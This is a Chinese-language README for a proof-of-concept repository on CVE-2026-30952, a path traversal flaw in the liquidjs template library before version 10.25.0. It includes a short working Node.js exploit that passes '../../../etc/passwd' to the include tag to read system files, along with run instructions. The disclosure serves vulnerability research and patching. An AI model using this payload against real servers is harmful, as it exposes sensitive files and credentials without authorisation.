本仓库包含 CVE-2026-30952 的概念验证(PoC),这是 liquidjs 库(版本 < 10.25.0)中发现的一个高危路径遍历漏洞。
作者与研究人员:
Moriel Harush Maor Caplan
该漏洞允许通过 layout、render 和 include 标签在配合绝对路径使用时实现任意文件访问。即使指定了 root 目录,该漏洞仍然存在,因为库的回退机制未能正确验证解析后的路径是否仍位于预期的根目录内。
影响: 如果攻击者能够控制模板内容或传递给这些标签的变量,则可以读取敏感文件(例如 /etc/passwd、环境文件)。
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

liquidjs 版本(npm install [email protected])npm install。node exploit.js